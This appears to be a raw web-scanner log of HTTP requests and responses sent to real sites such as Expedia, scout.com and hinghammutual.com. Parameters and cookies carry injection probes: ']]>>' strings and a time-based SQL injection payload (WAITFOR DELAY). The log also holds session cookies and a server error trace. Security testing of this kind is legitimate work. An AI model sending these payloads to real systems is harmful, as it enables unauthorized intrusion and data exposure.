Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=131048717.1303137471.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=131048717.787483735.1303137471.1303137471.1304721456.2; __utmc=131048717; __utmb=131048717.1.10.1304721456
Content-Length: 31

tEmail=Email&pPassword=Password

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 17:37:53 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.12 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.12
Set-Cookie: PHPSESSID=71434cdaab7d48ca4d16e33577c1485b; expires=Fri, 06 May 2011 19:37:53 GMT; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4494
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<br />
               <form method="post" name="fTopLogin" action="/login.php">
                   <input name="tEmail" id="tEmail" type="text" value="Email" onfocus="if('Email'==this.value)this.value=''" onblur="if(''==this.value)this.value='Email'" />
                   <input name="pPassword" id="pPassword" type="password" value="Password" onfocus="if('Password'==this.value)this.value=''" onblur="if(''==this.value)this.value='Password'" />
                   <input type="submit" value="Login" class="button" />
...[SNIP]...

GET /restserver.php?v=1.0&method=links.getStats&urls=%5B%22http%3A%2F%2Fwww.allatsea.net%2Farticle%2FMay_2011%2FClub_Swan_42_Arethusa_Wins_Swan_Caribbean_Challenge_at_Antigua_Sailing_Week_2011%22%5D&format=json]]>>&callback=fb_sharepro_render HTTP/1.1
Host: api.facebook.com
Proxy-Connection: keep-alive
Referer: http://allatsea.net/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Flanding.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dbing.com%26placement%3Dlike_button%26extra_1%3Dhttp%253A%252F%252Fwww.bing.com%252Fhp%253F%2526MKT%253Den-us%26extra_2%3DUS; datr=ituyTcnawc6q7VcE0gibPCo2

HTTP/1.1 200 OK
Cache-Control: public, max-age=120
Content-Type: text/javascript;charset=utf-8
Expires: Fri, 06 May 2011 14:11:47 -0700
Pragma:
X-FB-Rev: 374976
X-FB-Server: 10.32.75.116
X-Cnection: close
Date: Fri, 06 May 2011 21:09:47 GMT
Content-Length: 910

fb_sharepro_render('<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<links_getStats_response xmlns=\"http://api.facebook.com/1.0/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://api.facebook.com/1.0/ http://api.facebook.com/1.0/facebook.xsd\" list=\"true\">
...[SNIP]...

GET /feeds/analyticsfeed.ashx?page=http%3A//www.scout.com/2/a.z%3Fcfg%3D%2527%3BWAITFOR%2520DELAY%2520%25270%3A0%3A25%2527--%26fromprefetch%3D1%26p%3D26%26s%3D143&format=json]]>>&callback=$.analytics.report HTTP/1.1
Host: cdn-cms.scout.com
Proxy-Connection: keep-alive
Referer: http://www.scout.com/2/a.z?cfg=%27;WAITFOR%20DELAY%20%270:0:25%27--&fromprefetch=1&p=26&s=143
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UnicaNIODID=Jwu5zEjpq0Q-W60ACS9; __utmz=202704078.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; RefId=0; BrandId=0; __utma=202704078.454375544.1303509265.1303516031.1303522301.3; SessionBrandId=0

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Server: Scoutweb10
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-HTTPModule: Scout Media Excalibur v.0.0.0.12737
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Akamai: True
Date: Fri, 06 May 2011 19:29:14 GMT
Connection: close
Akamai: True
Content-Length: 364

<analyticsfeed xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><network>Scout</network><site>www</site><sports/><categories/><pagetype>ErrorMaintenance</pagetype><pagesubtype/><author/><dateoverri
...[SNIP]...

GET /adfeed.ashx?s=143&format=json]]>>&callback=$.showAd.cacheAdCodes HTTP/1.1
Host: cdn-forums.scout.com
Proxy-Connection: keep-alive
Referer: http://www.scout.com/2/a.z?cfg=%27;WAITFOR%20DELAY%20%270:0:25%27--&fromprefetch=1&p=26&s=143
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: UnicaNIODID=Jwu5zEjpq0Q-W60ACS9; __utmz=202704078.1303516031.2.2.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/4; RefId=0; BrandId=0; __utma=202704078.454375544.1303509265.1303516031.1303522301.3; SessionBrandId=0

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Server: MBRD25
X-AspNet-Version: 2.0.50727
X-Website-Assembly-Version: 2.21.0.0
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Date: Fri, 06 May 2011 19:29:15 GMT
Connection: close
Akamai: True
Content-Length: 456

<adFeed xmlns:i="http://www.w3.org/2001/XMLSchema-instance"><ads><ad><code>SPTSN1</code><height>90</height><type>DISPLAY</type><width>728</width></ad><ad><code>SPTSN3</code><height>600</height><type>D
...[SNIP]...

GET /abouthingham/Default.aspx HTTP/1.1
Referer: http://hmficweb.hinghammutual.com/abouthingham/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: hmficweb.hinghammutual.com
Cookie: ASPSESSIONIDSQCDDDAA=HPHJKIBCNPBPFKFPCLEPAMCN; ASP.NET_SessionId=kvicvmmhrzmxk4i3unxfj445]]>>
Accept-Encoding: gzip, deflate

HTTP/1.1 500 Internal Server Error
Date: Fri, 06 May 2011 17:39:10 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 6963

<html>
<head>
<title>Could not find file 'C:\Inetpub\wwwroot\abouthingham\xmlDynamicAgencySupport.xml'.</title>
<style>
body {font-family:"Verdana";font-weight:normal;
...[SNIP]...
SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy) +1162
System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize) +64
System.Xml.XmlDownloadManager.GetStream(Uri uri, ICredentials credentials) +77
System.Xml.XmlUrlResolver.GetEntity(Uri absoluteUri, String role, Type ofObjectToReturn) +54
System.Xml.XmlTextReaderImpl.Ope
...[SNIP]...

GET /resource.aspx?resources=player&gmts=gmt&mkt=en-us&configCsid=&configName=&responseEncoding=json]]>>&callbackName=Msn.Video.JavascriptApi.onComplete&cd=1 HTTP/1.1
Host: img.widgets.video.s-msn.com
Proxy-Connection: keep-alive
Referer: http://www.scout.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Cache-Control: public, max-age=1800
Content-Type: text/xml; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Age: 2
Date: Fri, 06 May 2011 19:33:36 GMT
Last-Modified: Fri, 06 May 2011 19:33:35 GMT
Expires: Fri, 06 May 2011 20:03:34 GMT
Connection: keep-alive
Content-Length: 10642

...<?xml version="1.0" encoding="utf-8"?><xml><config><gmt><d k="brand" v="MSN" /><d k="subbrand" v="MSN Video" /><d k="msnlinkbackdomainuri" v="" /><d k="leadwithsilverlight" v="false" /><d k="omnitu
...[SNIP]...

POST /daily/common/moreinfo.asp HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
Cache-Control: max-age=0
Origin: http://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104; srvys=v.1%2C2%2C0
Content-Length: 1023

BundleType=1&WT=Home&bFfstAB=&bFfstDefault=&bFfst=&FCity=Austin%2C+TX+%28AUS-Austin-Bergstrom+International+Airport%29&FTLA=AUS&TCity=Detroit%2C+MI+%28DTW-Wayne+County%29&TTLA=DTW&TCityId=&FDate=mm%2F
...[SNIP]...
gTLA=&LsFlightOrigName=&LsFlightDestTLA=&LsFlightDestName=&LsHotel=&LsAtlas=&LsAtlasRegionId=&LsFOverride=&LsTOverride=&taIndex=&taText=&taType=&taOn=1&srch=flt&typ=1&flx=on&fct=AUS&tct=DTW&mon=4-2011]]>>&trl=0%2C1%2C10&rad1=1&rse1=0&rch1=0

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Cteonnt-Length: 34651
Content-Type: text/html; Charset=iso-8859-1
Cache-Control: private
Date: Fri, 06 May 2011 23:21:15 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 34651

<html>
<head>
<title>Expedia.com</title>

<link rel="stylesheet" type="text/css" href="/daily/styles/main.css"></link>
<style>
.pageHeading {font-size:20px;font-family:Arial;color:#CC6600;f
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

GET /pub/agent.dll?qscr=cach&hfnm=jstooltipi.htx]]>>&flag=j&nojs=1&zkey=1010331160&zz=5 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=&mnth=5/1/2011&rgst=1&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; srvys=v.1%2C2%2C0; s1=`user=v.8,0,EX01528414FE$F4$B5202000X$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$EDIs$A8$FB$27$95$E4$82$AB$89$FB!e02000`131; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819496`188

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:36:42 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 71697

<META HTTP-EQUIV="Content-Type" content="text/html; cha
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1]]>>; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:54:23 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX01C2ABB2BF$0B$BB201000$D2$27$E96$C2i$9D$0D$C2i$9D$0D$C2i$9D$0D10001000$1E810$2302!50$7D$0C$BC$D5$85a$CC$F2M$7F$99$D5!e02000`minfo=v.5,EX0135709FA5$FA$24$DD$0C$C4x9$15$7B$F1$34$60$ECa$3Dq$33$E3$60$12$22$D9$83$5E$0D$32UhpP$2F2$C1$35$0E$36$2A$FB$34sa$36$11$29$B8A$AB`277; Domain=.expedia.com; path=/
Set-Cookie: p1=`accttype=v.2,3,1,EX01CA28EFCD$FA$24$DD$0C$D9x$11$1D$7B$F1$38$60$ECq$32v$33$E3x$12$22$DA$9B$5E90`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`173; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 97905

<DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853]]>>; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:55:29 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX01CDA28148$CA$BC201000$DB$27$E96$15e$9D$0D$15e$9D$0D$15e$9D$0D10001000$1E810$2302!50$14$1D$E9$AB$139I$CD$85$87Y$DF!e02000`minfo=v.5,EX01E28818AC$FB$24$DD$0C$C03$DBZz9I$A1p$99M$288$D87$113$DBU$30$60$98o$E1$F1zq$B3$DE$EA$C13$19$2B$DC$3EQ$A0$9CEf$C41$DB`264; Domain=.expedia.com; path=/
Set-Cookie: p1=`accttype=v.2,3,1,EX010F9ECC22$FB$24$DD$0C$DD3$DBGz1I$ACp$99K$218$D80$113$DAU$2C$60$99o$D3`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`167; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 97905

<DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B]]>>; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; p1=`gacct=v.1,1,215819496`tpid=v.1,1`airp=v.1,AUS`linfo=v.4,|0|0|255|1|0||||||||1033|0|0||0|0|0|-1|-1`98; s1=`0`user=v.8,0,EX01652EAB1Fp$B7201000h$27$E96!G0.!5010$2302!50$16$1A$99$91$8A$1Cs$EC!4$FF!e02000`95; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B
Content-Length: 153

tccb=1&ussl=1&qscr=logi&subl=0&lmde=537&uact=8&uurl=qscr%3Dlitn%26&fram=&wdth=&hght=&itlo=0&gpid=061734C81E05&slnk=&flag=&tmpu=&selc=2&fnui=1&rfrr=-54397

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:54:03 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: jscript=1; Domain=.expedia.com; path=/
Set-Cookie: s1=`user=v.8,0,EX01933B971C$7E$B9201000$D7$27$E96$7Ci$9D$0D$7Ci$9D$0D$7Ci$9D$0D10001000$1E810$2302!50$AARE$0FciB$13$82$EE.$BE!e02000`minfo=v.5,EX0136103B72$FA$24$DD$0C$C4x9$15$7B$F1$34$60$ECy$3Dh$33$E3u$12$22$DC$83$5E$0D$32UhpP$2F2$C1$35$0D$36$2A$F4$34sa$36$11$29$B8A$AB`267; Domain=.expedia.com; path=/
Set-Cookie: p1=`accttype=v.2,3,1,EX0172845D5D$FA$24$DD$0C$D9x$11$1D$7B$F1$38$60$ECq$32q$33$E3x$12$22$D8$9F$5E$0C0`tpid=v.1,1`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`group=v.1,0`175; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 97905

<DIV ID="ttDiv" STYLE="position:absolute; visibility:hi
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
